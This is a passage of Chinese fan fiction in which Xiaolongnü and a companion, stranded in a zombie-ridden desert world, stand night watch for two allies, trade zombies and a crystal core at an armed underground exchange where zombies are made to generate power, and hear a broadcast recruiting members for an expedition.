小龙女和小童子清楚,这个世界对她们而言太过陌生。废城、活死人、卡牌,会自己前行的车辆,能在远处取人性命的枪弹,还有比这些更难分辨的人心,处处都不是她们熟悉的模样。李秀宁和铁心兰从见面到现在一直在向她们释放善意,眼下先跟着这两人,便是最稳妥的选择。 小龙女想了想,说:“我们可以替你们守这一夜,等你们醒来,请再多教我们一些关于这个世界的事。” 李秀宁立刻点头,铁心兰也松了口气:“当然,你们想知道的,我们会知无不言。” 小童子轻轻颔首:“那便守一夜,你俩放心去睡。” 小龙女走到窗边,掀开破帘一角,看向外头空荡的街道。小童子把一个柜子搬到门后,将门堵死,再将沙发推到柜子后面。 李秀宁和铁心兰给小龙女和小童子留了一些食物,接着两人选了一间卧室,裹着斗篷躺倒在满是灰尘的床上,很快就昏睡过去。 小童子和小龙女拿着留下的罐头、饼干和水,坐在大门后的沙发上。两人按照铁心兰方才教的方法打开包装,铁皮罐盖被掀起时发出轻轻一响,里面的气味便散了出来。 小童子嗅了嗅,压低声音:“闻起来还可以,应该可以吃。” 那味道很奇怪,有肉香,也有一点甜酸,还有她分辨不出的调料味,不像黄蓉炒的白菜,也不像孙婆婆煮出来的青菜豆腐。 小龙女也低头闻了闻,神情认真得像在辨一味药:“应该没有坏,没有腐败的气息。” 小龙女拿起叉子,照着铁心兰方才示范过的样子,挖起一小块肉和几粒软烂的豆子,稳稳递到小童子唇边。 她神色仍然平静,目光却一直落在小童子脸上。小童子心口忽然软了一下,她明明从前也常和小龙女分吃食物,可此刻在陌生废城的暗房里,被小龙女这样喂到唇边,竟又有些不同。 她低头咬住那一口,食物入口软烂,又带着一点古怪的香。 小童子慢慢嚼了嚼,眉头先皱了一下,随后又松开:“又好吃,又不好吃,有点太咸了。” 她接过叉子,也挖了一点,学着小龙女方才的动作送到她唇边。小龙女垂眸,就着她的手吃下。她吃东西向来安静,连咀嚼都很轻。小童子看着她唇瓣碰过叉尖,又看见她喉间轻轻一动,心口不知为何有一些奇异又陌生的感觉。 两人便这样你一口、我一口地吃起来。小龙女吃东西仍是慢条斯理的,唇瓣被食物沾得微微润亮。小童子看着看着,忽然有些分不清,自己惦记的究竟是下一口食物,还是小龙女唇边那一点温软的气息。 食物吃完后,她们又拧开矿泉水瓶,轮流喝水。清水本该没有味道,可每次小龙女喝过,再递到小童子手里,她总觉得下一口似乎比上一口更甜一些。 吃完饭后,两人并肩坐在门后,屋子里很静,静得能听见卧室里李秀宁和铁心兰渐渐放缓的呼吸声。 这栋房子在绿洲废城边缘,楼不高,视野却还算开阔。透过破开的阳台望出去,白日里那些被强光照得刺眼的废墟,到了黄昏反而沉下许多颜色,像所 有伤口都被暮色轻轻盖住。 小龙女和小童子从前每一次出墓,都有要办的事,也都有该回去的地方。唯有这一次,她们身在异世,古墓远在不可知处,连“尽快回去”四个字都暂时没了着落。 守着别人入睡的此刻,她们反倒第一次有了一段空闲,可以什么也不做,只静静抬头看天。 落日前一小时,沙漠尽头的云层像被火从里面点燃,大片赤红铺开,边缘泛着金光。 两人从沙发上起身,缓步走到阳台。更远处,沙丘的脊线被光描得极亮,背阴处则沉成柔软的紫灰。夕阳贴着最远处的沙脊一点点坠下,半边天空赤金明亮,另一半已透出清冷的蓝。 最后那轮红日被地平线吞没,余色却还久久不散。云从火红渐渐化成粉橘,近处废城只剩模糊轮廓,远处沙丘仍留着一点薄光,像黑暗还不舍得立刻将它们收走。 小童子回过神,还记得有人在睡觉,凑到小龙女耳边,声音压得很轻:“龙儿,这世界虽然充满了危险,但是天空的景色好美啊。” 那点热气掠过耳畔,小龙女半边身子微微一麻。她握着小童子的手指不自觉收紧,眼睫轻颤了一下,才低声道:“确实好漂亮,你说我们的世界,天空也会有这样漂亮的景色吗?师父和孙婆婆她们生前有没有见过呢?” 小童子思索片刻:“孙婆婆以前经常出门采买,她应当见过很多次。至于师父她……我不知道。” “不过师姐肯定是见过的,或许就是外面有这么多美好的东西,师姐才不愿回来古墓。”小童子声音里没有怨,也没有难过,只是平静地描述自己的猜想。 天终于暗了,废城没有灯火,轮廓沉进黑暗里,天幕却越发深蓝。起初只是极远处一点微光,小龙女还以为自己看错了,直到第二点、第三点也相继亮起,才明白那便是星。它们无声地从夜色里浮出来,越浮越多。 横过天幕的银河静静铺开,像一条无声的长河,将废城、沙漠,也将她们一并罩在下面。小童子仰着头,惊愕得几乎忘了眨眼,小龙女也许久没有说话。她俩从书里读过星斗,可那些字句到此刻才忽然有了形状,清晰地展现在她们眼前,明亮得叫人心口发烫。 两人忽然觉得天地那样大,人这样小,初到异世的那点不适,也都在这片星光里淡了下去。 小龙女轻轻靠在小童子身上,小童子下意识伸出手,将她抱进怀里,下巴轻轻抵在她肩头。 下一瞬,两人的内息便自然交汇在一处。天上的银河无声横过夜幕,她们体内细密的经脉也像被星光照亮,原本各行其道的气息被无形的力牵引,缓缓相融,又在彼此经络间往复流转。她们一时分不清哪一道气息属于自己,哪一道又来自对方,只觉得胸口与掌心都暖起来。 她们没有再说李莫愁,也没有说古墓。天上满是星辰,地上一片漆黑,风从阳台外吹来,带着沙漠夜里渐渐降下来的凉。 可这一刻太短,远方忽然传来几声枪响,砰!砰砰! 69.星夜 砰!砰砰! 声音被空旷废城放大,又被残楼层层撞碎,传到她们这里时,已分不清具体方向。紧接着,是活死人低哑的嘶吼,还有活人的尖叫。 小龙女和小童子同时戒备,两人一前一后退回阳台阴影里,手已经按上剑柄。 卧室里传来动静,李秀宁和铁心兰明显被吵醒。两人几乎同时冲到阳台边,眼睛还有疲惫的红,手已经按在武器上。 又过了一会,癫狂的笑声从身前的马路传来。那笑声忽高忽低,像有人把嗓子扯破了也不肯停。 一个人影正从街口滑过来,小童子先看见他脚下那块板子,那板子狭长,下面竟嵌着四只小轮,轮子碾过碎石时发出细碎的咯啦声。 那人两脚一前一后踩在板上,身子歪歪斜斜,却总能在快要摔倒时又扭回来。他手里还举着一根长竿,竿头垂下一根细线,线上吊着半截身体。随着板子颠簸,暗红的血水点点滴滴从那身体往下淌,在半空甩出细细的线,又落到地上,拖成一串湿痕。 最前头一只活死人脖子上套着绳圈,绳圈另一端握在那人手里。活死人两只腐烂的手拼命往前伸,指尖几次擦过半截身体垂下来的破布,却每一次都差一点。那人便哈哈大笑,把长竿往前轻轻一送,又在它快抓住时猛地挑高。 活死人被那血腥味勾得发狂,喉咙里滚出饥饿的低吼,残缺的脚掌在地上拖出难听声响。它越往前挣,那块四轮板便被它带着往前滑。看上去竟像这只活死人成了牛马,在黑夜里拉着身后那个狂笑的人。 而那人身后,还跟着更多活死人。它们从阴沟里、断墙后、翻倒的车壳旁慢慢聚过来,有的跑得踉跄,有的爬着向前,有的半边脸已经烂空,仍被那笑声牵得抬起头。它们一边追着那人,一边伸手去抓前方的血气,十几道黑影在月色下拖成长长一片,像一串被饥饿拴住的噩梦。 那人带着一群活死人滑过楼前,他笑得几乎喘不过气,嘴里含糊喊着什么,小童子只听清一句:“跑啊,再跑快点!” 笑声、嘶吼声、拖拽声一路远去。 李秀宁看了远处几息,低声道:“没事,保持安静,不要卷入。” 铁心兰捂着嘴打了个很小的哈欠,声音仍哑:“别点灯,别出声。它们会被声音和光吸引。” 说完,两人又看了一眼街道,确认没有东西往这栋楼来,便重新回到卧室。 小童子看着她们的背影,有些佩服。刚才那样大的动静,若换作她,大约也要多看一会儿。可李秀宁和铁心兰只判断了远近和危险,确定暂时无事,便立刻回去继续睡。 能睡时就睡,这大约是这个充满危险的世界必须修炼的武功。 两人重新坐回门后,远处偶尔有活死人拖着脚步走过,偶尔有金属片被风吹动。 小童子忽然想起自己新创的掌法,压低声音道:“龙儿,你说,我在‘亢龙有悔’里融入无形剑意,这一掌叫‘潜龙藏锋’如何?” “嗯?可以,蛮合适的。”小龙女侧过脸看她,“‘潜龙’承降龙掌意,‘藏锋’又有无形剑意。那我的玉女心经剑法融入金轮圆转之意,便叫‘照影还杀’吧?” “很适合!”小童子一聊到武功,眼睛便亮起来,“那我们的无形剑,要不要也起个正式的名字?” 小龙女想了片刻:“如今无形剑还未完善,等剑意真正成形,再起个正式的名字吧。” “说得也是。”小童子便不再执着,只牵着小龙女的手,指尖轻轻拨弄着她的指尖。 小龙女感受到她心里的愉悦,嘴角也微微弯了起来。 第二日天亮时,废城先亮起来的不是屋子,而是窗外的沙。太阳还没有完全升高,沙地已经泛出一层浅金。 小童子一夜未睡,精神却仍很好。她和小龙女坐在门后,两人昨夜靠得很近,手也没有松开,一直在玩手指争夺战。 卧室里终于传来轻微动静,铁心兰先出来,头发睡得有些乱,白斗篷没披,只穿着里面方便行动的衣服。她揉着眼睛走到客厅,看见小童子和小龙女端端坐在那里,先是一愣,随即笑开:“谢谢你们,我已经很久没睡这么沉了。” 李秀宁随后走出来,她比铁心兰整齐些,衣领扣得妥帖,长发也重新束起,只是眼底那层疲惫终于淡了不少,她向小龙女和小童子认真拱了拱手:“多谢。” 铁心兰打着哈欠从背包里翻出早餐,早餐依旧简单,几块压得很硬的饼干,两只铁皮罐头,四瓶还没开封的水。 李秀宁坐在窗边,边吃边看外头。她吃东西很快,却不狼狈,每一次咀嚼都像在计算时间。铁心兰则慢些,吃一口饼干,喝一口水,又把罐头往小童子面前推了推。 小龙女拿起那只小叉子,挖了一点,送到小童子唇边。 小童子张口吃下,眼睛弯了一下,又把水瓶拧开,递到小龙女唇边。小龙女低头喝了一小口,睫毛在晨光里微微一颤。她们做得自然,像从前在古墓里分一碗粥、分一块饼。 铁心兰吃着饼干,依然是睡眼惺忪,有些神游天外。 李秀宁看见小童子和小龙女的亲密,也没说什么,只当没看见。她等四人都吃了些东西,才开口:“龙姑娘,童姑娘,有件事我想问你们。” 小龙女抬眼,小童子也看向她。 李秀宁道:“你们来到这个陌生世界,是想留在这个世界,还是想和我们一样,找回家的路?” 小童子和小龙女对视一眼,其实她俩心里的答案很清楚。 小童子正色道:“我们想找回家的路。” 小龙女点头:“若能回去,自然要回去。若一时回不去,也要先弄清楚这个世界。” 李秀宁看着她们,眼中多了一点笑意:“那和我们同路。” 铁心兰立刻把手一拍:“欢迎欢迎!有你们两个加入,我们以后睡觉都能香一点。” 小童子眨了眨眼:“我们也不能每日都守夜。” 铁心兰笑道:“那当然不能只让你们守,我是说,有两位武功这么高强的人一起走,心里踏实。” 李秀宁把一张折得发白的抽象地图摊在桌上,指尖点了点其中一处:“今日我们的任务是去城市物品交易中心,看看能否获得一些关于卡牌的消息。” “交易中心?”小龙女问。 “可以交换东西的地方。”铁心兰接过话,“像集市,也像杂货铺。” 李秀宁道:“你们刚来,需要知道这里的人用什么换什么。” 吃完东西,四人把屋内痕迹收拾干净。李秀宁将空罐头压扁收回背包,铁心兰检查水瓶和绳索。小童子看得稀奇:“空罐子也要带走?” 铁心兰道:“金属能换一点东西,也能磨成片当陷阱。最要紧的是,不能把新鲜痕迹留给别人。” 小童子明白了,她忽然觉得这个世界处处都像古墓机关,只不过古墓机关是防外人的,而这里的机关,是每个还活着的人用来防彼此的。 太阳升高前,四人离开房间。 李秀宁先把堵住门的东西搬开,贴在门边听了片刻,又轻轻推开门 。楼道里落满灰,墙皮一块块剥落,地上有干透的黑色血迹。她带头往上走,避开断裂楼梯,从楼顶穿到隔壁楼里。 绿洲里楼房虽破,却彼此挨得不远。 李秀宁落地前会先看窗内阴影,进门前会用短刀轻敲门框。若里面有活死人,便会传出低哑的撞击声。 第一只活死人是在一间办公室里发现的,活死人被困在倒塌的柜子后面,听见脚步便猛地扑来,腐烂的手指从柜缝里伸出。它的脸半边干瘪,半边溃烂,眼珠混浊地转动,嘴里发出像破风箱一样的嘶声。 李秀宁上前一步,她的动作很利落,短刀从袖中滑出,刀背先压住活死人的额头,随即反手一刺。刀尖从眼眶入,干脆地搅碎了里面的东西。活死人抽搐两下,不动了。 小童子微微皱眉,她不是没杀过人,也不是没有见过血。可活死人不同,它们像人,又不像人。杀它们时没有江湖仇怨,没有招式来去,只有一种冷冰冰的处理。 铁心兰已经蹲下,用小刀撬开头骨后侧。她动作很快,显然做过许多次。片刻后,她摇摇头:“没有。” 小龙女疑惑:“没有什么?” “晶核。”铁心兰站起身,“有些活死人脑子里会长出一枚硬东西,大小不定,颜色也不定。交易中心收这个,能换不少物品。” 小童子看向地上的活死人:“脑中生石?” 铁心兰想了想:“差不多吧,反正我第一次听见时也觉得怪。” 她们一栋楼一栋楼清过去,有的活死人被关在厕所里,有的倒挂在断掉的楼梯间,有的困在车辆残壳旁,日头一晒,皮肉都干成灰黑色。李秀宁和铁心兰配合默契,一个引,一个杀,一个警戒,一个开颅查看。偶尔遇到两三只一起扑出来,也能借门框、桌椅、窄走廊卡住位置,逐个解决。 直到一只活死人从阴影里扑向铁心兰背后,铁心兰正低头查看一具尸体,听见风声时已经晚了半拍。小童子无形剑出,活死人的头骨洞穿,身体猛地向后一仰,后脑撞在墙上,发出闷响,身体软软滑落。 再往前走,一扇关不严的门后藏着三只活死人,门一开便齐齐扑出。小龙女用剑柄连点三下,动作轻得像拂落花瓣,三颗头颅同时破碎。 她们清了大半个上午,杀了百来个活死人,才在一只穿着破烂制服的活死人脑中找到一枚晶核。 那东西只有指甲盖大小,被铁心兰用水冲过后,露出半透明的淡蓝色。小童子凑近看,觉得它像一粒冻住的露珠,又比露珠坚硬。日光从破窗照进来,晶核里似乎有一丝微弱光线转动。 李秀宁把它收进小盒子:“运气一般。” 小童子惊讶:“这么多只,才一个?” 铁心兰道:“所以值钱。” 李秀宁看了看天色,又看了看地图:“差不多了,晶核靠运气,再清下去太慢,换方法。” 她从背包里取出一捆特制绳索,那绳索不知用什么编成,细而坚韧,表面还有一层粗糙纹路。铁心兰也取出同样的绳子,两人不再击杀活死人,而是把楼里剩下的几只活死人用绳一绕,反手捆住,再用绳子串成一串。 活死人仍在挣扎,但手脚都被绳索勒紧,无法动弹,只剩牙齿咬得咔咔响。 铁心兰用刀鞘抵住它们下颌,随手捡起几块大小合适的石头塞进嘴里,嘶吼声立刻闷了下去,只剩喉咙里含混的呜呜声。 小童子看得眉头又皱起来:“这是干什么?” 铁心兰正在收紧绳结,头也不回:“一会儿你就知道。” 70.交易 小龙女看着那一串活死人,眼中也有疑惑。 在她和小童子的认知里,怪物若有危险,除掉便是。可李秀宁和铁心兰费力把它们捆起来,像集市上把菜扎成一捆,又像猎人把猎物串起。 临近午时,太阳已经开始毒辣。沙风穿过街道,卷起细灰,刮在脸上像细针。 李秀宁带她们七拐八绕,四人拖着活死人往城镇更深处走,最终来到一处相对狭窄的地下入口。 入口藏在两栋塌楼之间,外面堆着断石和铁板,乍看像一片废墟。若不是李秀宁径直走过去,小童子根本不会想到那里还有门。铁门被涂成和墙灰相近的颜色,上面有几道狭长小孔,孔后隐约有人影晃动。 李秀宁在铁门上敲了三下,里面传来冷硬的声音:“干什么的?” 李秀宁道:“来交易的。” 小龙女听见里面有极轻的金属摩擦声,是有人把什么机关对准了她们。小童子眼神微冷,手紧了紧剑鞘。 终于,铁门向内打开一道缝。热风被隔在外面,地下通道里扑出一股混合气味。潮气、汗味、铁锈味、腐烂味,还有许多人长期聚在一起才会有的浑浊气息。通道两侧挂着昏黄的小灯,光不稳,时明时暗,照得墙壁像病人的脸。 小童子一进去,便察觉这里有人打扫过。地面虽然旧,却没有太多碎石;墙角的血迹被擦过,只剩深色印痕;每隔一段距离便有一扇铁门,门后有人呼吸,也有人握着武器。 再往前走,普通人渐渐多起来。他们衣服都很奇怪,有人穿厚外套,有人穿短衣短裤,有人披着像李秀宁她们那样的斗篷,也有人身上挂满口袋和铁片。 大多数人脸色发黄,嘴唇干裂,眼神却很亮,亮得像随时准备咬人。 小童子看见有人手里握着黑沉沉的短管,模样和昨日偷袭她们的武器类似。那人也看见了她,目光在她和小龙女脸上停了停,又落到她们腰间长剑上。 小龙女没有回避他的视线,她只是安静看过去,那人倒是扯着嘴角笑了。 铁心兰压低声音:“别盯太久,这里的人容易把对视当成挑衅。” 小童子问:“他看我们也算挑衅吗?” 铁心兰顿了顿:“这里的规矩常常只看谁更不好惹。” 小龙女若有所思:“那就是江湖。” 李秀宁听见,轻轻一笑:“有些像,但这里的人不讲门派,不讲名声。” 通道尽头豁然开阔,那像是一处埋在地下的大屋子,顶很高,梁柱粗大。 许多货架横七竖八地立着,上面摆满东西。铁皮罐头、瓶装水、布料、衣服、绳索,还有小童子和小龙女叫不出名字的器物。墙上挂着发光的板子,板子上滚动着文字。 柜台左右各站着一排持枪守卫,枪口斜斜压低,却正好封住所有人能靠近的路。柜台后坐着几个人,面前放着登记簿和更小的发光板。 这里果然像杂货铺,只是比小龙女和小童子见过的任何杂货铺都阴冷。 除了守卫和柜台前的队伍,两旁阴影里还站着不少人。他们没有上前,只抱着包裹等在那里,有的盯着柜台上的登记簿,有的看着队伍里的亲友,有的低头数着手里的东西,像是在盘算要不要去交换物资。 柜台前排着一队等着交换的人,没有人大声喧哗,排队的人说话都压得很低。有人抱着沉睡的婴孩,眼睛红肿,怀里只攥着半袋饼干;有人背着一口旧锅,锅里装着几块不知从哪里拆下来的金属;也有人和李秀宁一样,拖着一串被捆好的活死人。 小童子看见那个抱着婴孩的人时,忍不住多看了一眼。 那孩子太小,脸埋在布里,只露出一点苍白额头。抱着他的是个男人,瘦得肩骨凸起,眼泪一直往下掉,却不敢哭出声。他前面的人递过去一小瓶透明药水,柜台后的人摇头。那人便颤抖着又摸出半块手表,放到桌上。 小童子不懂手表是什么,只觉得那人放下它时,像放下了一件很舍不得的东西。 队伍行进得很快,抱着孩子的男人从柜台前退开时,小童子又忍不住看了他一眼,才发现他怀里空了,原本裹着婴孩的布也不见了。 轮到李秀宁时,柜台后的人先扫了一眼她们拖来的活死人,又用铁棍对着活死人敲敲打打,似乎在测试活死人的灵活程度。 “八只丧尸,完整度一般,四只手坏,一只腿脚不好,按六只算。” 铁心兰立刻道:“手坏不影响跑轮,手断更安全!按七只。” 那人眼都不抬:“六只半。” 铁心兰想了想:“再加一瓶水。” 那人冷笑:“你当这里还是灾前商场?” 李秀宁把小盒子放上桌,打开:“这个换能源,活死人换食物。” 淡蓝色晶核在灯下微微一亮,柜台后的人神色终于松动些。他拿起晶核放到一块黑色小板上,小板发出“滴”的一声。小童子眼睛微微睁大,那声音和铁心兰的卡牌有些像,干脆,短促。 “低级晶核,纯度还行。”那人道,“能源块一枚,活死人按六只半,给压缩饼干三块,水一瓶。” 铁心兰道:“水两瓶。” 那人抬眼瞥了一下铁心兰,漫不经心:“成交。” 小童子在旁边听得认真,发现这个世界讨价还价也很快,几句话便定下,没有茶水,没有寒暄,也没有掌柜的笑脸。 小龙女倒是注意到这些人把活死人叫做丧尸。 很快有人过来收活死人,铁心兰像是早料到会这样,眼神往小童子和小龙女身上一递,自己先伸手拽住绳尾,道:“搭把手。” 小童子和小龙女便跟着上前,分头拽住绳索,和那几个收尸的人一起往前拖。活死人身子在地上一路磨过去,留下一道红黑的痕迹。 她们跟着那几人把这一串活死人拖向旁边那道铁门,收尸人打开门,把活死人一只只拉进去,随即又把铁门关上。 小童子忍不住小声问铁心兰:“他们要这些活死人做什么?” 铁心兰凑近她和小龙女耳边,小声道:“发电。” 小童子一怔:“发电?” 铁心兰指了指登记桌上那块发光的板子:“你看,那个叫平板,还有这里的灯,都要靠电才能活。没有电,它们就像没内力的人,空有样子,做不了事。” 小龙女不解:“活死人怎么发电?” 铁心兰表情也有些微妙:“听说是让它们跑。” 小童子更疑惑:“跑?” 铁门上有个观察窗,窗后是更深的地下室。铁心兰递了个眼色,小童子和小龙女便向里看去,只见许多铁笼排成一排,每个笼子里都有三只或四只活死人。它们脚下踩着宽大的轮带,前方吊着几块血肉模糊的诱饵。活死人不断往前扑,轮带便被它们踏得转动,旁边许多皮带和齿轮也跟着转。 整个地下室充满低沉轰鸣,活死人在笼中永远追不到前面的肉,便永远往前跑。它们不知疲倦,不知疼痛,只要头还在,便会被血味牵着动。铁链、轮带、齿轮、发光的灯,全都连在一起,组成一个小童子和小龙女完全看不明白,却又隐约觉得残酷的机关。 小童子想起昨夜那个踩四轮板的疯疯癫癫的人,原来这个世界不只疯人会让活死人拉着自己跑,这里的人还把这种事做成了买卖,做成了商品。她低声道:“它们已经死了,却还要被使唤。” 铁心兰带着两人回到队头:“是啊,可它们若在外面,就会吃人。关在这里,至少能换来一点光。” 小龙女回头看了一眼那扇铁门,神色很静:“这里的人,也是被这个世界使唤。” 李秀宁闻言,转头看了她一眼。这句话很轻,却像一枚细针穿过满室轰鸣,正正刺在要害上。 柜台的人把换来的东西递过来,还把捆丧尸的绳索交还。李秀宁收下绳索,一一检验能源块、饼干和水的质量。 她检验得很细,饼干外面的袋子有没有破口,瓶装水的封口有没有被撬过,能源块外壳有没有裂痕。她一样一样看过去,神情比方才杀活死人时还认真。 铁心兰站在小龙女和小童子身侧,脸上仍带着一点漫不经心的笑。等柜台后的人转身记录,附近守卫也暂时没有盯着她们,她才像随口闲聊般微微侧过头,用只有三人能听见的声音道:“原住民说,灾难以前,这里好像叫商超。吃的、穿的、用的,什么都有,人可以推着小车进去慢慢挑,现在却不行了。” 她说话时,眼神却没有闲着,从柜台、守卫、队伍、入口和高处黑洞上一一扫过,又若无其事地抬起一点,落到墙上滚动公告的发光板上。 她说到这里,目光往左边一偏。小童子和小龙女顺着她几不可察的眼色看过去,才发现那边并不是普通墙角。 两根粗大的柱子之间架着一层铁网,铁网后站着四个人。那四人穿着厚厚的黑衣,胸前和肩上都覆着硬甲,头上扣着古怪的黑盔。其中一人双手按着一架沉重的黑色机关,另一人半蹲在旁边,守着一串黄澄澄的金属小块,像是随时要往机关里续进去。剩下两人一左一右站着,一个端着长长的黑管,一个握着短些的黑管,目光牢牢盯着排队的人。 那机关下面架着铁脚,前端不是一根管,而是六根粗短黑管拧成一束,像一只冷冰冰的蜂巢。它比昨日偷袭她们的武器更沉,更笨重,管口正斜斜对着排队的人。 小童子只看了一眼,便知道那是杀人的东西。 她昨日已经 见识过枪弹,那样小小的金属物,飞得快,声音急,寻常人根本避不开。若不是她和小龙女从小在古墓里练耳力、练身法,又及时闭气避开烟雾,李秀宁和铁心兰昨夜未必能全身而退。 “那都是枪。”铁心兰轻声道,“左边那人手里长的叫步枪,右边短的叫手枪。中间架着的那东西叫机关枪,打起来不会只响一下,会一串连着一串响。旁边那人守着的是子弹带,是给机关枪续命的。你看他们胸前鼓起来的地方,里面多半是弹匣。弹匣也是装子弹的东西,换得越快,打得越久。” 小龙女看了片刻,道:“他们站的位置,能守住出口和队伍。” 铁心兰眼中露出一点赞许:“对,出口、柜台、货架、地下发电室,四处都有枪口。明面上这些人只有十几个,暗处肯定更多。上面那些黑洞看见没有?” 小童子抬眼,地下大屋子的高处有几处小窗,外面焊着铁条,里面黑沉沉的,乍看只是通风口。可她凝神一听,便听见上方有人呼吸极稳,还有金属轻轻摩擦衣料的声音。 “那里也有人。”她问。 铁心兰点头:“有,多半拿着更厉害的枪。” 小龙女却看向那些货架:“既然这么多人守着,东西应当很重要。” “当然重要。”铁心兰道,“这地方早就不是普通交易点了。灾难刚来时,附近的人都往这里抢东西。后来有枪的人来了,把这里占住,对外说是维持秩序,其实就是劫持。” 她的声音很轻,轻得几乎混进地下室传来的轰鸣里。 “不过最重要的东西早被他们搬走了,药、大部分干净的水、耐放的粮食、发电设备、枪弹、燃料,还有那些能保存很久的肉罐头,全都放在内库。内库在哪里,普通人不知道。我们现在看见的这些,只是他们愿意摆出来交易的常规物资。” 小童子问:“既然他们已经拿走了,为何还要拿出来换?” 铁心兰道:“因为他们也需要别人替他们找东西,替他们抓丧尸,替他们打听消息。光靠守着这里的人,活不长久。外面废墟里还有很多物资,他们不想自己冒险,就让别人去冒险,再拿一点东西换回来。” 小童子听懂了:“像让别人采药,采回来只给一点药钱。” “差不多。”铁心兰笑了一下,“只是这里的药钱,可能只够你多活两天。” 小龙女看着排队的人,那些人没有一个敢靠近货架。货架前用黄黑相间的带子拦出界线,旁边站着守卫。有人若想换东西,只能在柜台前说出要什么,再由里面的人去取。若价钱不够,便退开;若不肯退,就会有枪口抬起来。 这里有食物,有水,有灯,可这些东西都像放在笼子里。外面的人饿着、渴着、病着,却只能隔着一条线看着。 “其他地方也这样吗?”小龙女问。 铁心兰眼里的笑意淡了些:“大多如此,只要有稳定物资的地方,就会被势力占住。有的是本地武装,有的是从前的安保队,有的是后来聚起来的帮派,也有一些穿越来的古武人占了地盘。名字不一样,规矩差不多。强的人守库,弱的人排队。” 小童子皱眉:“没有官府管吗?” 铁心兰轻轻摇头:“也许还有,但离我们太远。至少这一片,没有我们认得的官府。” 李秀宁这时把最后一瓶水举到灯下看了看,确认瓶中没有杂质,才收进包里。 铁心兰淡淡补了一句:“所以在这里,别把交易中心当成安全地方,它只是暂时不许别人乱杀人的地方。” 小童子抬头:“暂时?” “因为乱杀会影响他们做买卖。”铁心兰接过李秀宁递来的东西,收进背包,又扣紧搭扣,“若有足够的利益,他们也可以换一条规矩。” 她话音刚落,头顶某处忽然传来一阵刺耳杂音。 那声音像铁片刮过石壁,又像有人隔着很远的地方,把嗓音塞进一只空罐子里。声音不高,却正好拢在这间地下大屋子里,柜台、队伍、货架旁的人都能听见,再往外便像被厚墙和铁门吞住了。小童子和小龙女下意识抬头,手都按上剑柄。 周围排队的人却没有惊慌,他们只是同时停了停,有人抬头,有人皱眉,也有人立刻把怀里的东西抱得更紧。 柜台后的几个人互相看了一眼,其中一人伸手按下桌边一个方形黑盒。黑盒上亮起红色小点,杂音顿时清晰了些。 一个冷硬的男声从高处传下来,清清楚楚,却始终收束得很低,像是怕惊动外面那些游荡的活死人。 “通知,下午14点整,西南沙丘异常区开启。灰堡营、沙蜥车队、三号水站联合行动,招收临时随队人员。招收岗位:医者、随行者、开荒者。” 71.消息 那声音没有情绪,像在念一张药方:“……招收岗位:医者、随行者、开荒者。” 地下交易中心里很快响起一片压低的议论声,方才还在争水价的人偏过头,和熟人交换眼色;排队的人也忍不住凑近前后,低声问这趟活到底能不能去;有人眼底发亮;有人低声咒骂。 广播继续道:“医者需能处理外伤、失血、感染初检。异能者治疗师不限等级,以现场测试为准。随行者需身体健康,无明显感染症状,能负重,能听从现场调度,严格遵守命令。开荒者需自带武器和防具,能在未知区域探路、清障、警戒,必要时承担断后。报名者预支水一瓶,压缩饼干一块。任务结束后,按贡献追加报酬。” “本次行动由联合队主导,临时人员不得私藏异常物,不得擅自脱队,违者按抢劫处理。13点整报名截止。” 红点熄灭,杂音消失,交易中心重新有了声音,却比方才更碎更密。 “开荒者?又换名字了,说得好听,不就是敢死队吗?” “一瓶水、一块饼干就能买一条人命……” “要是有治疗能力,倒是可以去报名,起码不是冲在前线。” 小童子和小龙女听得眉头慢慢皱起,从这些低声议论里不难听出,这样的行动已经不是第一次了,沙漠城区的人大多也有基本常识,知道所谓开荒多半是去送死。可即便如此,还是有人很快站了出来,排到柜台前登记报名。 一个瘦得肩胛凸起的男人骂得最凶,骂完却把腰间缺口的短刀重新绑紧,低头挤进了报名队伍。还有个女人把怀里的半块饼塞给身边小孩,自己转身去柜台前按手印。队伍一点点往前挪,没人说一句那些报名者不知死活。 队伍外靠墙处,一个披灰色防沙斗篷的男人抬了一下头。他没有靠近,只把目光从李秀宁、铁心兰身上掠过,又落到小龙女和小童子身上。 小龙女和小童子察觉到那道目光,同时转头看了过去。那人半张脸都藏在斗篷阴影下,五官模糊不清,唯有对上她俩视线时,忽然咧嘴一笑,露出一颗布满裂痕的虎牙。 李秀宁背好包,低声道:“走。” 铁门重新打开,外面的热气扑面而来。地下交易中心里的腐朽味、汗味、铁锈味被留在身后,取而代之的是沙漠正午前干烈的风。 李秀宁带着三人贴墙而行,穿过两栋半塌的楼,又从一处断开的地下通道绕出来。通道里有积沙,脚踩上去只发出极轻的响。李秀宁走得不快,却每隔一段便换一次方向。有时明明转向东,又忽然折回南;有时刚从阴影里出去,立刻又借倒塌车壳遮住身形。 小童子和小龙女起初以为她是在避开活死人,走出第三个拐角时,她俩听见了。 有活人脚步声,那脚步离得不近,也不算太远,轻得像沙上落叶,又快得不像寻常人。对方很会藏,常常在风起时落脚,在铁片晃动时换位。若是寻常人,未必听得出来。 两人没有回头,小童子只抬眼看向李秀宁,眼睫极轻地一动。小龙女的目光也淡淡一偏,像在看前方断墙,又像什么都没看。 铁心兰嘴角仍挂着笑,她方才还懒洋洋地抱怨太阳太毒。 小童子看见她眼尾微弯,笑意未变,眼神却冷了下来。她没有回头,只伸了个腰,袖口一垂,指尖已经搭在刀柄上。 四人谁都没有说破,废城里太空,一句话都可能传出好远。 李秀宁带着她们走进一片更乱的废墟,这里像是旧日商铺后巷,几堵墙被烧得发黑,又被黄沙埋住半截,只剩断裂的门框和歪斜的铁架横在路中央。 楼上窗洞层层叠叠,黑沉沉地对着窄路,像一排能藏人的眼睛。路面狭窄,一边是塌墙,一边是侧翻货车。车厢里困着几只活死人,闻见活人气味,撞得车皮砰砰响。 这地方不好走,也不好逃,却正适合逼跟踪的人露出破绽。能藏身的阴影多,能封路的障碍也多,若真动起手来,上方断楼、窄巷和车厢里的活死人,都能变成她们手里的优势。 那人跟到这里时,脚步明显乱了一瞬。 前方有一个拐角,拐角后是一栋半塌的楼,楼梯只剩外侧一截,从街面看不见上面。李秀宁经过那里时,脚下没有停,却在转入阴影的一瞬,手指向上一抬。 四人同时消失在拐角后,身后的脚步也停了。 废城忽然安静得厉害,只有风吹铁皮的轻响,和车厢里活死人一下一下撞击的声音。 灰斗篷站在断梁后,眼睛眯了起来。 他听不见了,方才那四个人的脚步、衣料、呼吸,竟像被这座废城一口吞掉。前面只有一条窄道,按理说她们不可能凭空不见。可地上的脚印被风吹散,几道痕迹绕在一起,分不出哪一道才是新踩出来的。 跟丢了?他心里一沉,错过这四个人,他又得等好久。 